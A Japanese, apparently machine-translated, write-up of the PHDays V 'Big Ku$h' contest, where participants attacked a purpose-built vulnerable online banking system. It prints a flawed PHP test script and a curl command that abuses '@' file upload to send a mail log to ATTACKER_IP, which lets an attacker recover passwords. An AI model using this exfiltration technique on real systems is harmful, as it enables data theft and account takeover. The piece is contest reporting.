PHDaysがRBSシステムをハッキングした方法





5月26日と27日にモスクワで開催されたPositive Hack Days V情報セキュリティフォーラムの枠組みの中で、 Big Ku $ h RBシステムのセキュリティ分析のための従来の競争が行われました。 競争は2段階で行われました。まず、参加者には、実際のシステムと同様に、RBSの脆弱なWebサービスを含む仮想マシンのコピーが提供されました。 第二段階では、1時間で、参加者はRBシステムのイメージの分析で見つかったセキュリティ上の問題を利用し、銀行から自分の口座に送金しなければなりませんでした。



今年、個々のコンテストがCTFの一部となり( Habrahabrに関する記事で詳しく説明します )、フォーラムのゲストと一緒に、CTFチームがコンテストに参加することができました。 コンテストの参加者の総数は約30人で、今年の賞金プールは4万ルーブルに増加しました( 昨年は2万人を「盗む」ことができました)。







技術的な詳細



特に「Big ku $ h」コンテストのために、PHDays iBank銀行システムは、実際の銀行システムに見られる脆弱性を含んで開発されました。 今回は、システムはフロントエンドとバックエンドの2つの部分に分割され、最もシンプルなRESTful APIを提供しました。 したがって、参加者はRBの各部の相互作用のためのプロトコルに慣れる必要がありました。



原則として、RBシステムには、悪意のあるコードの導入または実行による直接攻撃を可能にする「扱いにくい」セキュリティエラーではなく、論理的な脆弱性(重要なデータの漏洩につながる弱いチェック)があります。 RBSの競争システムに重点が置かれているのは、彼らにあります。



PHDays iBankには脆弱性の7つの組み合わせが含まれ、それぞれの組み合わせには、お金が保存された仮想ユーザーの10の銀行口座がありました(脆弱性が複雑になるほど、口座にお金が入ります)。



参加者は次の攻撃を実行できます。





システムのいくつかの脆弱性



テストスクリプトには次のコードが含まれていました。



<?php if ($_SERVER['HTTP_HOST'] != 'ibank.dev') { exit; } if (empty($_GET['url'])) { exit; } $parts = parse_url($_GET['url']); $port = empty($parts['port']) ? '' : ':' . $parts['port']; $url = "http://{$parts['host']}$port/status"; $ch = curl_init(); curl_setopt_array($ch, [ // CURLOPT_URL => $_GET['url'], CURLOPT_URL => $url, CURLOPT_HEADER => false, CURLOPT_RETURNTRANSFER => true, ]); if (!empty($_GET['params'])) { curl_setopt_array($ch, [ CURLOPT_POST => true, CURLOPT_POSTFIELDS => $_GET['params'] ]); } var_dump(curl_exec($ch)); curl_close($ch);
      
      







ホスト名の検証はバイパスできます。 ファイルを転送する機能について理解し、パラメーター値に@記号を使用して、次の攻撃を実行できます。



curl -H 'Host: ibank.dev' 'http://SERVER_IP/api_test.php?url=http://ATTACKER_IP/&params\[a\]=@ /var/www/frontend/data/logs/mail.log'







送信されたメッセージのログファイルの内容を受信すると、参加者はパスワード回復システムを使用したアカウントのパスワードを見つけることができます。



2要素認証を回避するために、最近Habréで記述された脆弱性が使用されました 。 コンテスト中、すべての参加者が彼女に精通しているわけではないことが判明したため、考えられる価値を整理するために、昔ながらの方法で働いていました。







戦闘進行



参加者は、RBシステムを攻撃して銀行から資金を引き出すだけでなく、お互いの口座を攻撃してお金を引き出すこともできました。 これは、競争に勝ったMore Smoked Leet Chickenチームのメンバーがたどった道です。 その結果、勝者は1万5000ルーブル以上を稼ぐことができました。



2番目になったStas Povolotskyは、競争の銀行から3200ルーブル以上を盗むことができました。



興味深い点:3位になったRDotチームは、ほとんどの脆弱性を見つけて悪用することができましたが、More Smoked Leet Chickenチームによってアカウントから盗まれた盗まれたお金を保護できませんでした。



最終順位:







受賞者の皆さん、おめでとうございます!



All Articles